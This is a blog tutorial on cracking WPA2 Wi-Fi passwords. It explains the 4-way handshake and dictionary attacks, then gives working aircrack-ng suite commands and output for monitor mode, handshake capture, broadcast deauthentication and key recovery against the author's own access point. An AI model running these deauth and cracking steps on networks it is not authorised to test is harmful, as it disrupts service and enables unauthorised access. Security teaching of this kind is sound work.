Welcome back Duthcode hackers to yet another writeup about the art of hacking, i think i have made it very clear by now that penetration testing is my passion and i always find the time to prepare cool articles and tutorials full of useful information for all of you who share the same passion with me!

In this article i am going to be talking about WPA2 and WPA cracking. I know the title says only WPA2 but cracking WPA is indistinguishable from WPA2 cracking!

As i have said in previous hacking articles that i've written i don't like just copy pasting steps for hacking shit, it doesn't please me. It doesn't fill the dark void inside my heart... i'm kidding! Or am i? :')

This article will be divided in 3 sections:

1 | How Wireless Networks Work

2 | The theory before the cracking (Huge Nerd Alert!)

3 | Cracking WPA2 with aircrack-ng

You can always skip to the section of your choosing.

1 | How Wireless Networks Work

First of all, it would be wise to start with a definition:

A wireless network or Wireless Local Area Network (WLAN) serves the same purpose as a wired one — to link a group of computers.

Wireless networks operate using radio frequency technology, a frequency within the electromagnetic spectrum associated with radio wave propagation. When an RF current is supplied to an antenna, an electromagnetic field is created that then is able to propagate through space.

In the same way that all you need to pick up a local radio station is a radio, all anyone needs to detect a wireless network within nearby range it a wireless equipped computer. There is no way to selectively hide the presence of your network from strangers, but you can prevent unauthorized people from connecting to it, and you can protect the data traveling across the network from prying eyes. By turning on a wireless network's encryption feature, you can scramble the data and control access to the network.

Why you need encrypted network connection

Encryption enhances the security of a message or file by scrambling the content. To encrypt a message, you need the right key, and you need the right key to decrypt it as well. It is the most effective way to hide communication via encoded information where the sender and the recipient hold the key to decipher the data.

When i was 10 years old me and my best friends came up with a "new way" of talking to each other, and when we where talking like that to each other in front of others they were unable to understand what we where saying. This is a simple type of Encryption.

Encryption is like sending secret messages between parties, if someone tries to pry without the proper keys, they wont be able to understand the message. So you understand that the stronger the key, the more difficult for the "uninvited listener" to decrypt the messages.

If you are ever being watched, inadvertently or not, you can hide your data by using implemented crypto systems. According to cryptographer and security and privacy specialist Bruce Schneier, “Encryption works best if it is ubiquitous and automatic. It should be enabled for everything by default, not a feature you only turn on when you’re doing something you consider worth protecting.”

Wireless network hardware supports several standard encryption schemes, but the most common are Wired Equivalent Privacy (WEP), Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access 2 (WPA2).

WEP is the oldest and can be hacked VERY EASILY. WPA and WPA2 are good choices, but provide better protection when you use longer and more complex passwords.

All the 3 protocols have their own encryption methods, but of course one's encryption is always better than the previous one's.

WEP | Uses RC4 algorithm for encrypting data packets

Uses RC4 algorithm for encrypting data packets WPA | Uses TKIP encryption, based on WEP

Uses TKIP encryption, based on WEP WPA2 | Uses AES, most secured and unbroken at this point

I am only going to demonstrate WPA2 cracking in this writeup's tutorial section for 2 reasons:

WPA cracking the the same exact method ology

WEP encryption is so broken in 2019 that no AP in the world uses it as a default anymore. That is a lie actually... hehe... i bought a GoPro look alike a week ago and it had WEP preinstalled.



How is WPA2 different from WPA?

Enough with the general knowledge, it's high time we got a bit mire specific, but first an answer to the question.

Hardware changed are mandatory for running WPA2

WPA2 uses AES for packet encryption, whereas WPA uses TKIP encryption AES is one of the most secure symmetric encryption algorithms. How secure you ask... Let's just say that the US Government uses the same encryption for handling information.

Released as the new standard for Wireless devices and from march 2006 WPA2 certification is mandatory for all new devices to bear the Wi-Fi trademark.

2 | The theory before the cracking

WPA2-PSK, Wi-Fi Protected Access-Pre-Shared Key. This encryption might be the most secured and unbroken at this point, but WPA2 system is still pretty vulnerable to us, the hackers!

Unlike WEP, WPA2 uses a 4-way handshake as an authentication process.

4-Way handshake

The four-way handshake is designed so that the access point (or authenticator) and wireless client (or supplicant) can independently prove to each other that they know the PSK/PMK (Pairwise Master Key), without ever disclosing the key. Instead of disclosing the key, the access point & client each encrypt messages to each other that can only be decrypted by using the PMK that they already share and if decryption of the messages was successful, this proves knowledge of the PMK.

Both WPA2-PSK and WPA2-EAP result in a Pairwise Master Key (PMK) known to both the supplicant (client) and the authenticator (AP). (In PSK the PMK is derived directly from the password, whereas in EAP it is a result of the authentication process).

The actual messages exchanged during the handshake are explained below (all messages are sent as EAPOL-Key frames):

The AP sends a nonce-value to the STA (ANonce). The client now has all the attributes to construct the PTK.

The STA sends its own nonce-value (SNonce) to the AP together with a Message Integrity Code(MIC), including authentication, which is really a Message Authentication and Integrity Code (MAIC).

The AP constructs and sends the GTK and a sequence number together with another MIC. This sequence number will be used in the next multi cast or broadcast frame, so that the receiving STA can perform basic replay detection.

The STA sends a confirmation to the AP.

The 4-way handshake is plain text, which allows us to capture the plain text information like

Access Point MAC Address

Client MAC Address

ESSID AP Name

We can use these acquired information to perform the best attack we can to the captured 4-Way Handshake(PCAP File), The Dictionary attack!

We could also try a Bruteforce attack, but... for example an 8 digit password containing upper and lowercase letters and a digit or two with a cracking power of 500.000 passwords per second would take you up to 15years to crack it, add a common punctuation, that's 58 years!

Now if you control a botnet of 100 computers or you have like the latest NVIDIA AMD Super Graphic Ultra 174Kill Machine you could crack this password in minutes... If again you just own a laptop like me, then....

DICTIONARY ATTACK!

It all started with Encryption! The art of scrambling, coding, hiding, enciphering or even concealing information (data) attempting to make them crack proof by others, and only the holder of the Decryption key could reverse the process... Do you see the problem? The process can be reversed! And if it took a Genius to think of a good encryption function it only takes another genius to crack it!

Therefore the Geniuses had to come up with a new way of hiding data, and of course they did! They created one-way functions, these functions have the ability to produce an output where it is impossible from it to find the input.

Example: Think of the function F(x) = 2x+1 , if this function produces the output 5 then you know that F(x) = 5 and x = 2 right?

This is where Hashing comes to play! Hashing is the cryptographic function that produces a hash, a hash is data or a file of an arbitrary length converted to a fixed length of unique nature. Unlike encryption, it is practically impossible to invert or reverse a hash back to the key that was involved in the hashing process.

Example: WPA and WPA2 use the PBKDF2 (Password-Based Key Derivation Function 2.0). There are numerous cool deep explanations on the function's way of hash production.

The exact function used is the following:

PSK = PBKDF2(PassPhrase, ssid, ssidLength, 4096, 256) To clarify, you can visit Understanding WPA and WPA2. In short, if we Have an SSID of duthcode_AP and our password is duthcodeRulez then we would get the following key" key --> c33ea1d6e59e5866b2203eac279044e206179176b798a73c9d6167329995720e

That was cool right? And that hash is irreversible, but since it is unique... That makes it comparable, doesn't it?

In a dictionary attack :

We create/use a wordlist (a .txt file with possible passwords)

Take on word at a time from the wordlist

Produce its hash using the above mentioned hash function

Compare the produced hash with the existing hash

If values match, since every produced hash is a unique value that means that we have found the correct password

3 | Cracking WPA2 with aircrack-ng

Now that we finally know all the excruciating theory about the networking part, and we have decided upon what attack we will do lets fire up Kali!

I want you to feel pumped up like this guy!

You are about to crack a password! That's real hacking. Beginner level, but real nonetheless.

STEP 1 | Open up aircrack-ng

We firstly need to find a target exactly the same way we did on the previous article Deauthentication attack using kali Linux.

Set up wireless card to monitor mode

airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 495 NetworkManager 539 dhclient 737 wpa_supplicant PHY Interface Driver Chipset phy0 wlan0 ath9k_htc Atheros Communications, Inc. TP-Link TL-WN322G v3 / TL-WN422G v2 802.11g [Atheros AR9271] (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)

Start sniffing the air until a target pops up

airodump-ng wlan0mon CH 6 ][ Elapsed: 6 s ][ 2019-02-22 13:25 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 4C:AC:0A:0E:5F:D4 -78 2 0 0 11 65 WPA CCMP PSK Wind WiFi 77S6rg 88:D2:74:96:AF:68 -82 2 0 0 11 270 WPA2 CCMP PSK COSMOTE-96AF68 8C:68:C8:95:2C:4E -82 2 0 0 5 270 WPA2 CCMP PSK COSMOTE-952C4E 72:D2:74:96:AF:69 -83 2 0 0 11 270 OPN OTE WiFi Fon 00:05:59:59:96:45 -84 3 0 0 11 54e. WPA TKIP PSK mpexlivanidis giorgos 50:C7:BF:DC:4C:E8 -30 6 0 0 11 270 WPA2 CCMP PSK duthcode_AP B0:AC:D2:2B:9E:8D -72 2 0 0 1 270 WPA2 CCMP PSK COSMOTE-2B9E8D 5A:AC:D2:2B:9E:8E -73 2 0 0 1 270 OPN OTE WiFi Fon A4:7E:39:B6:9A:84 -75 3 0 0 6 65 WPA CCMP PSK Wind WiFi B69A84 8C:68:C8:F2:D1:39 -77 2 0 0 1 270 WPA2 CCMP PSK Plan_Wi-fi DC:02:8E:E0:54:1C -83 2 0 0 13 65 WPA CCMP PSK mpisi wifi 00:1D:1C:C5:C0:43 -84 2 0 0 8 54 . WPA TKIP PSK Oxygen-87674

Our target is duthcode_AP since it's the closest one comparing all the APs and.. you know... it is not illegal to hack yourself. YET!

STEP 2 | Sniff the network of our target exclusively and collect data on a file

Now things start to get fresh! By running the following command

airodump-ng --bssid "target's bssid" -c "target's channel number" wlan0mon -w duthcode

We not only monitor the duthcode_AP exclusively but we are also gathering all sorts of information and storing them to a file!

Let's run it!

airodump-ng --bssid 50:C7:BF:DC:4C:E8 -c 11 wlan0mon -w duthcode CH 11 ][ Elapsed: 12 s ][ 2019-02-22 13:34 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 50:C7:BF:DC:4C:E8 -33 100 119 0 0 11 270 WPA2 CCMP PSK duthcode_AP BSSID STATION PWR Rate Lost Frames Probe

OK Things go perfectly according to plan!



Careful! Do not stop monitoring! because we need to...

STEP 3 | Capture the 4-Way Handshake

In order to capture the handshake we have to be patient for a client to connect to the network we are monitoring, OR!!! We could force someone to lose connection by sending him Deauthentication packets!

Yeap! let's go for it!

Open up a new terminal without closing the previous one running the monitoring and run the command

aireplay-ng -0 0 -a 50:C7:BF:DC:4C:E8 wlan0mon

With that command you take down the entire network! A bit of an overkill but works.

NOTE: The -0 0 option or else --deauth 0 option keeps on sending deauth packets until we manually stop it by pressing CTRL+C. If you feel sure about what you are doing you can easily target a specific device like we did on the previous article and sent him a specific number of deauth packets with --deauth 50 for example.

aireplay-ng -0 0 -a 50:C7:BF:DC:4C:E8 wlan0mon 13:43:26 Waiting for beacon frame (BSSID: 50:C7:BF:DC:4C:E8) on channel 11 NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 13:43:26 Sending DeAuth (code 7) to broadcast -- BSSID: [50:C7:BF:DC:4C:E8] 13:43:26 Sending DeAuth (code 7) to broadcast -- BSSID: [50:C7:BF:DC:4C:E8] 13:43:27 Sending DeAuth (code 7) to broadcast -- BSSID: [50:C7:BF:DC:4C:E8] 13:43:27 Sending DeAuth (code 7) to broadcast -- BSSID: [50:C7:BF:DC:4C:E8] 13:43:28 Sending DeAuth (code 7) to broadcast -- BSSID: [50:C7:BF:DC:4C:E8] ... ... ...

Now take a look at the other terminal window that you have opened! You should see a new message confirming that you have successfully captured the WPA handshake! ! !

CH 11 ][ Elapsed: 7 mins ][ 2019-02-22 13:43 ][ WPA handshake: 50:C7:BF:DC:4C:E8 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 50:C7:BF:DC:4C:E8 -23 100 3166 719 0 11 270 WPA2 CCMP PSK duthcode_AP BSSID STATION PWR Rate Lost Frames Probe 50:C7:BF:DC:4C:E8 9C:B6:D0:E8:2C:81 -15 1e- 1e 0 40 duthcode_AP

You can now close everything! You own the handshake and you have it stored on the duthcode-01.cap file!

STEP 4 | It's all about the Dictionary!

No one ever said that hacking is easy! It needs a certain kinda crazy! The first step of hacking is Reconnaissance , which translates to know your target.

For this attack you have to realize that it all comes down to how good your dictionary is!

For this tutorial i have very carefully crafted a custom dictionary named duthcode.txt that fits my character because i am hacking myself ;)

cat Desktop/duthcode.txt duthcodeistheBest I<3duthcode i<3DuthCode DuthCode123 myDuthcodepassword Passdeladuthcode DuthC0d3 12345678 00000000 99999999 98888889 password123 mypassword123 Password123 hacktheplanet iamstillplayingpokemon goWatchClaymore the_anime_GOAT duthcode_AP_Pass123 duthcodeRulez

As you have very well pointed out the password "happens" to be inside the wordlist.

STEP 5 | Running the cracker

What we want to do is simple!

grab the handshake file

associate it with our custom dictionary

check if the dictionary contains the password hidden in the handshake

The command that makes this happen is :

aircrack-ng duthcode-01.cap -w Desktop/duthcode.txt

And the very Quick output is :

00:00:00] 4/20 keys tested (316.73 k/s) Time left: 0 seconds 20.00% KEY FOUND! [ duthcodeRulez ] Master Key : C3 3E A1 D6 E5 9E 58 66 B2 20 3E AC 27 90 44 E2 06 17 91 76 B7 98 A7 3C 9D 61 67 32 99 95 72 0E Transient Key : EF 0B 80 7E 59 5A F4 15 51 4C 48 F8 62 7F 81 E7 D8 E7 3F E3 0A D4 2C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC : D5 D4 EB 86 16 33 4F FC 2C 74 3C E6 DB AF 81 70

KEY FOUND! [ duthcodeRulez ]

We have successfully cracked a WPA2 AP password, and we did it by knowing how it works! That is the key point that differentiates a script kiddie from a struggling hacker!

There are a lot of cool scripts for creating Wordlists for Dictionairy attacks.

Crunch (If you master this tool you are pretty set to go)

CeWL (for website logins)

Hatch (Website login bruteforce script)

A note for the ones who read the whole thing!

Since you have read the entire writeup i can easily assume you are like me! You like reading and constantly learning, expanding your knowledge further and further non-stop!

And if you found this topic interesting then you are a sucker for a good crypto story! I could not not recommend to you this Book! The Code Book - The secret history of codes and code breaking

Buy the book from the USA

This book is one of my favorites! The cool stories of romance, war and treasure hunts! Unsolved mysteries and endless links to historical cipher nerds! I love it! I really believe you are going to enjoy reading it as much as i did!

That was it! Thank you for reading! Here are some other Articles you might like:

You can show your support by liking our Facebook Page ! Support our efforts on Ko-Fi ! And you can get in contact with us either by sending us a message on Facebook or via the e-mail on the footer of the Page!

Thanks again! Have a lovely day... Or night!